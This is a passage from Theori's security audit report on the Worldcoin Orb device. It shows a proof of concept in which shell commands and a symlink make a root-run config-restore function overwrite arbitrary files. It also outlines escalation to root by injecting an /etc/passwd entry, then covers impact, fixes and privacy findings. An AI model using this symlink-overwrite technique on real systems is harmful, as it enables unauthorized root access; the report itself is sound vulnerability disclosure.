(venv) (os-ERR) worldcoin@id-b3b7f044:~$ cat
/etc/default/wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev

network={
        ssid="hotspot"

psk=51732747dbc24a75171aa297358ad45fd49ae4aeb74f5b19e9afb167850f88dc
        priority=1
        scan_ssid=1
}
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ vi
/etc/default/wpa_supplicant.conf
(venv) (os-ERR) worldcoin@id-b3b7f044:~$ cat
/etc/default/wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev

network={
        ssid="hackedhacked"

psk=51732747dbc24a75171aa297358ad45fd49ae4aeb74f5b19e9afb167850f88dc
        priority=1
        scan_ssid=1
}
```

3. Create a symbolic link and execute `restore-default-config`

	<table><tr><td><pre>(venv) (os-ERR) worldcoin@id-b3b7f044:~$ rm /usr/persistent/wpa_supplicant-wlan0.conf; ln -s /home/worldcoin/target /usr/persistent/wpa_supplicant-wlan0.conf
	(venv) (os-ERR) worldcoin@id-b3b7f044:~$ ls -al /usr/persistent/wpa_supplicant-wlan0.conf
	lrwxrwxrwx 1 worldcoin worldcoin 22 Feb 7 08:48 /usr/persistent/wpa_supplicant-wlan0.conf -> /home/worldcoin/target
	(venv) (os-ERR) worldcoin@id-b3b7f044:~$ /usr/local/bin/wpa-supplicant-interface restore-default-config</pre></td></tr></table>
	4. Verify that `/home/worldcoin/target` has been overwritten
	<table><tr><td><pre>(venv) (os-ERR) worldcoin@id-b3b7f044:~$ cat /home/worldcoin/target
	ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
	
	network={
	  ssid="hackedhacked"
	
	psk=51732747dbc24a75171aa297358ad45fd49ae4aeb74f5b19e9afb167850f88dc
	  priority=1
	  scan_ssid=1
	}</pre></td></tr></table>
	An attacker can exploit this vulnerability to perform a privilege escalation attack in the following steps:
	1. Modify the `/etc/default/wpa_supplicant.conf` file to contain a malicious `/etc/passwd` entry, adding a new attacker account with root privileges.
	2. Set /usr/persistent/wpa_supplicant-wlan0.conf to point to /etc/passwd using a symbolic link.
	3. Execute the RestoreDefaultConfig function to trigger the vulnerability and overwrite /etc/passwd.

Impact	An attacker who has obtained shell access on a Debug mode Orb can exploit this vulnerability to perform a Local Privilege Escalation (LPE) attack with root privileges. However, no vulnerabilities have been identified that would allow an external attacker to gain initial shell access to Orb. Therefore, successful exploitation of this vulnerability would require chaining it with additional vulnerabilities. In Production mode Orbs, the protection provided by `dm-verity` applied to the root filesystem prevents an attacker from arbitrarily modifying the data to be overwritten, making actual privilege escalation difficult.
Recommendation	1. Set the owner and writable permissions of the `/etc/default/wpa_supplicant.conf` file to root. 2. Set the owner and writable permissions of the `/usr/persistent/wpa_supplicant-wlan0.conf` file to root. 3. Modify the `wpa-supplicant-interface` to include symbolic link validation before copying files in the `RestoreDefaultConfig` function.

Reference	• N/A

5. Analysis Result of Sensitive Data Processing and Storage in the Orb

Theori conducted a security assessment on the source code provided by TFH, as well as the actual running Orb device and system (2.2).
The assessment focused not only on the overall security of the Orb device and its services but also on verifying TFH's security claims (3.2) regarding Personal Identifiable Information (PII). To achieve this, threat identification and analysis were performed based on the following threat scenarios related to the sensitive data processed by Orb, such as images and iris data.

Category	Items
1. Data Security and Privacy Risks	1-1. Can a man-in-the-middle (MITM) attacker spoof or intercept sensitive data during communication?
	1-2. Is there a risk of sensitive information processed by the device being logged or leaked to external servers?
	1-3. Does the device communicate exclusively with intended and authenticated servers?
	1-4. Is sensitive information stored securely using proper encryption algorithms?
	1-5. Are sensitive data and personal information handled securely in case of errors or system failures?
	1-6. Does the device store personally identifiable information (e.g., QR codes, iris data) locally?
	1-7. Are there safeguards to prevent sensitive information from being persistently stored on the device?

To carry out assessment, the source code and configuration files in the provided repositories were analyzed to identify security vulnerabilities and potential threats related to the threat scenarios. Additionally, the debug interface of the Orb device was used to gain direct access to the running system (shell), allowing for a thorough verification of whether sensitive data processing and storage were implemented securely and correctly.

Through the analysis and verification of each threat scenario, we confirmed that the data processed by the Orb device is securely transmitted only to authenticated servers with proper encryption mechanisms in place. Additionally, during actual service operation, plaintext iris images or other personally identifiable sensitive data, especially those that of which the purpose of collection has not been notified to the user is not transmitted externally. Furthermore, no such data is stored on internal storage, including the SSD, during service operation.

From a Defense-in-Depth (DiD) perspective, a recommendation (WORLDCOIN-ORB-001) was issued, advising the use of the Rust Crate (`zeroize`) to explicitly wipe memory and ensure that iris data and other sensitive information do not persist in process memory for extended periods during program execution.

As a result, we confirmed that, as claimed by TFH, the Orb device securely processes and manages sensitive information, ensuring that no personal data of data subjects (Orb, World ID users) is leaked. Furthermore, various software and hardware hardening techniques have been applied to prevent unauthorized device access, exploitation, and potential data breaches.

However, this assessment was limited to the source code and Orb device provided for review. It does not cover components outside the scope of this assessment, such as TFH backend services, infrastructure, and applications. The security and integrity of these components were not verified as part of this assessment.

6. Conclusion

Theori conducted source code auditing and security assessments on the key functionalities provided by the Worldcoin Orb device. As a result, a total of 20 detailed threat scenarios were reviewed across three categories, leading to the identification of three security findings.

The findings include two recommendations to further enhance the security and sensitive information management of the Orb device, as well as a vulnerability that allows an attacker with shell access to exploit a service vulnerability to overwrite arbitrary files.

Additionally, the analysis of the nine security claims provided by TFH revealed that no content contradicting any of the claims was found.

Given that the Orb device manages users' personal data and service usage information, it must ensure proper encryption of sensitive data and provide a secure service environment to prevent unauthorized exposure. Therefore, immediate patches are strongly recommended based on the findings and recommendations outlined in this report.

© 2025 Theori, Inc.

Theori, Inc. (“We”) is acting solely for the client and is not responsible to any other party. Deliverables are valid for and should be used solely in connection with the purpose for which they were prepared as set out in our engagement agreement. You should not refer to or use our name or advice for any other purpose. The information (where appropriate) has not been verified. No representation or warranty is given as to accuracy, completeness or correctness of information in the Deliverables, any document, or any other information made available. Deliverables are for the internal use of the client and may not be used or relied upon by any person or entity other than the client. Deliverables are confidential and are not to be provided, without our authorization (preferably written), to entities or representatives of entities (including employees) that are not the client, including affiliates or representatives of affiliates of the client.

©2025. For information, contact Theori, Inc.